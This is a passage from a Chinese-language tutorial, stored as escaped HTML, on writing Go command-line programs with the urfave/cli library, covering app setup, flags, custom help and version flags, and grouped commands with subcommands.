class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eNAME:   GoTest - hello world\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUSAGE:   GoTest [global options] \u003cspan class=\"built_in\"\u003ecommand\u003c/span\u003e [\u003cspan class=\"built_in\"\u003ecommand\u003c/span\u003e options] [arguments...]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eVERSION:   1.2.3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eCOMMANDS:     \u003cspan class=\"built_in\"\u003ehelp\u003c/span\u003e, h  Shows a list of commands or \u003cspan class=\"built_in\"\u003ehelp\u003c/span\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e one \u003cspan class=\"built_in\"\u003ecommand\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003earithmetic:     \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e add, a  calc 1+1     \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sub, s  calc 5-3   \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003edatabase:     \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e db  database operations \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eGLOBAL OPTIONS:   \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e--lang FILE, -l FILE    \u003cspan class=\"built_in\"\u003eread\u003c/span\u003e from FILE (default: \u003cspan class=\"string\"\u003e\u0026#34;english\u0026#34;\u003c/span\u003e)   \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e--port value, -p value  listening port (default: 8000)   \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e--\u003cspan class=\"built_in\"\u003ehelp\u003c/span\u003e, -h              Help!Help!   \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e--print-version, -v     \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e version\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003col\u003e\u003cli\u003e基本结构\u003cbr/\u003e导入包以后,通过cli.NewApp()创建一个实例,然后调用Run()方法就实现了一个最基本的命令行程序了。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e当然,为了让我们的程序干点事情,可以指定一下入口函数app.Action,具体写法如下:\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e (\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e         \u003cspan class=\"string\"\u003e\u0026#34;fmt\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e         \u003cspan class=\"string\"\u003e\u0026#34;gopkg.in/urfave/cli.v1\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e) \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e         \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e\u003c/span\u003e {    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp := cli.NewApp()    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp.Action = \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(c *cli.Context)\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"type\"\u003eerror\u003c/span\u003e {        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(\u003cspan class=\"string\"\u003e\u0026#34;BOOM!\u0026#34;\u003c/span\u003e)        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003enil\u003c/span\u003e    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eerr := app.Run(os.Args)    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e err != \u003cspan class=\"literal\"\u003enil\u003c/span\u003e {        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003elog.Fatal(err)    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003col start=\"2\"\u003e\u003cli\u003e公共配置\u003cbr/\u003e就是帮助里需要显示的一些基本信息:\u003c/li\u003e\u003c/ol\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e  app.Name = \u003cspan class=\"string\"\u003e\u0026#34;GoTest\u0026#34;\u003c/span\u003e  \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  app.Usage = \u003cspan class=\"string\"\u003e\u0026#34;hello world\u0026#34;\u003c/span\u003e  \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  app.Version = \u003cspan class=\"string\"\u003e\u0026#34;1.2.3\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003col start=\"3\"\u003e\u003cli\u003eFlag配置\u003cbr/\u003e具体对应于帮助中的以下信息:\u003c/li\u003e\u003c/ol\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e--lang FILE, -l FILE    \u003cspan class=\"built_in\"\u003eread\u003c/span\u003e from FILE (default: \u003cspan class=\"string\"\u003e\u0026#34;english\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e--port value, -p value  listening port (default: 8000)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e对应代码:\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003evar\u003c/span\u003e language \u003cspan class=\"type\"\u003estring\u003c/span\u003e     \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp.Flags = []cli.Flag {        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecli.IntFlag {            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;port, p\u0026#34;\u003c/span\u003e,            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eValue: \u003cspan class=\"number\"\u003e8000\u003c/span\u003e,            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;listening port\u0026#34;\u003c/span\u003e,        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecli.StringFlag {            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;lang, l\u0026#34;\u003c/span\u003e,            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eValue: \u003cspan class=\"string\"\u003e\u0026#34;english\u0026#34;\u003c/span\u003e,            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;read from `FILE`\u0026#34;\u003c/span\u003e,            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eDestination: \u0026amp;language,        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e可以看到,每一个flag都对应一个cli.Flag接口的实例。\u003c/p\u003e\u003cp\u003eName字段中逗号后面的字符表示flag的简写,也就是说”–port”和”-p”是等价的。\u003c/p\u003e\u003cp\u003eValue字段可以指定flag的默认值。\u003c/p\u003e\u003cp\u003eUsage字段是flag的描述信息。\u003c/p\u003e\u003cp\u003eDestination字段可以为该flag指定一个接收者,比如上面的language变量。解析完”–lang”这个flag后会自动存储到这个变量里,后面的代码就可以直接使用这个变量的值了。\u003c/p\u003e\u003cp\u003e另外,如果你想给用户增加一些属性值类型的提示,可以通过占位符(placeholder)来实现,比如上面的”–lang FILE”。占位符通过``符号来标识。\u003c/p\u003e\u003cp\u003e我们可以在app.Action中测试一下打印这些flag的值:\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eapp.Action = \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(c *cli.Context)\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"type\"\u003eerror\u003c/span\u003e {        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(\u003cspan class=\"string\"\u003e\u0026#34;BOOM!\u0026#34;\u003c/span\u003e)        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(c.String(\u003cspan class=\"string\"\u003e\u0026#34;lang\u0026#34;\u003c/span\u003e), c.Int(\u003cspan class=\"string\"\u003e\u0026#34;port\u0026#34;\u003c/span\u003e))        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(language)        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003enil\u003c/span\u003e    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e另外,正常来说帮助信息里的flag是按照代码里的声明顺序排列的,如果你想让它们按照字典序排列的话,可以借助于sort:\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;sort\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esort.Sort(cli.FlagsByName(app.Flags))\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e最后,help和version这两个flag有默认实现,也可以自己改:\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ecli.HelpFlag = cli.BoolFlag {        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;help, h\u0026#34;\u003c/span\u003e,        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;Help!Help!\u0026#34;\u003c/span\u003e,    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecli.VersionFlag = cli.BoolFlag {        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;print-version, v\u0026#34;\u003c/span\u003e,        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;print version\u0026#34;\u003c/span\u003e,    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003col start=\"4\"\u003e\u003cli\u003eCommand配置\u003cbr/\u003e命令行程序除了有flag,还有command(比如git log, git commit等等)。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e另外每个command可能还有subcommand,也就必须要通过添加两个命令行参数才能完成相应的操作。比如我们的db命令包含2个子命令,如果输入GoTest db -h会显示下面的信息:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eNAME:   GoTest db - database operations \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUSAGE:   GoTest db \u003cspan class=\"built_in\"\u003ecommand\u003c/span\u003e [\u003cspan class=\"built_in\"\u003ecommand\u003c/span\u003e options] [arguments...] \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eCOMMANDS:   insert  insert data     \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003edelete  delete data \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eOPTIONS:   --\u003cspan class=\"built_in\"\u003ehelp\u003c/span\u003e, -h  Help!Help!\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e每个command都对应于一个cli.Command接口的实例,入口函数通过Action指定。如果你想像在帮助信息里实现分组显示,可以为每个command指定一个Category。具体代码如下:\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eapp.Commands = []cli.Command {        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;add\u0026#34;\u003c/span\u003e,            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eAliases: []\u003cspan class=\"type\"\u003estring\u003c/span\u003e{\u003cspan class=\"string\"\u003e\u0026#34;a\u0026#34;\u003c/span\u003e},            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;calc 1+1\u0026#34;\u003c/span\u003e,            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eCategory: \u003cspan class=\"string\"\u003e\u0026#34;arithmetic\u0026#34;\u003c/span\u003e,            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eAction: \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(c *cli.Context)\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"type\"\u003eerror\u003c/span\u003e {                \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(\u003cspan class=\"string\"\u003e\u0026#34;1 + 1 = \u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e1\u003c/span\u003e + \u003cspan class=\"number\"\u003e1\u003c/span\u003e)                \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003enil\u003c/span\u003e            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;sub\u0026#34;\u003c/span\u003e,            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eAliases: []\u003cspan class=\"type\"\u003estring\u003c/span\u003e{\u003cspan class=\"string\"\u003e\u0026#34;s\u0026#34;\u003c/span\u003e},            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;calc 5-3\u0026#34;\u003c/span\u003e,            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eCategory: \u003cspan class=\"string\"\u003e\u0026#34;arithmetic\u0026#34;\u003c/span\u003e,            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eAction: \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(c *cli.Context)\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"type\"\u003eerror\u003c/span\u003e {                \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(\u003cspan class=\"string\"\u003e\u0026#34;5 - 3 = \u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e - \u003cspan class=\"number\"\u003e3\u003c/span\u003e)                \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003enil\u003c/span\u003e            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;db\u0026#34;\u003c/span\u003e,            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;database operations\u0026#34;\u003c/span\u003e,            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eCategory: \u003cspan class=\"string\"\u003e\u0026#34;database\u0026#34;\u003c/span\u003e,            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eSubcommands: []cli.Command {                \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{                    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;insert\u0026#34;\u003c/span\u003e,                    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan 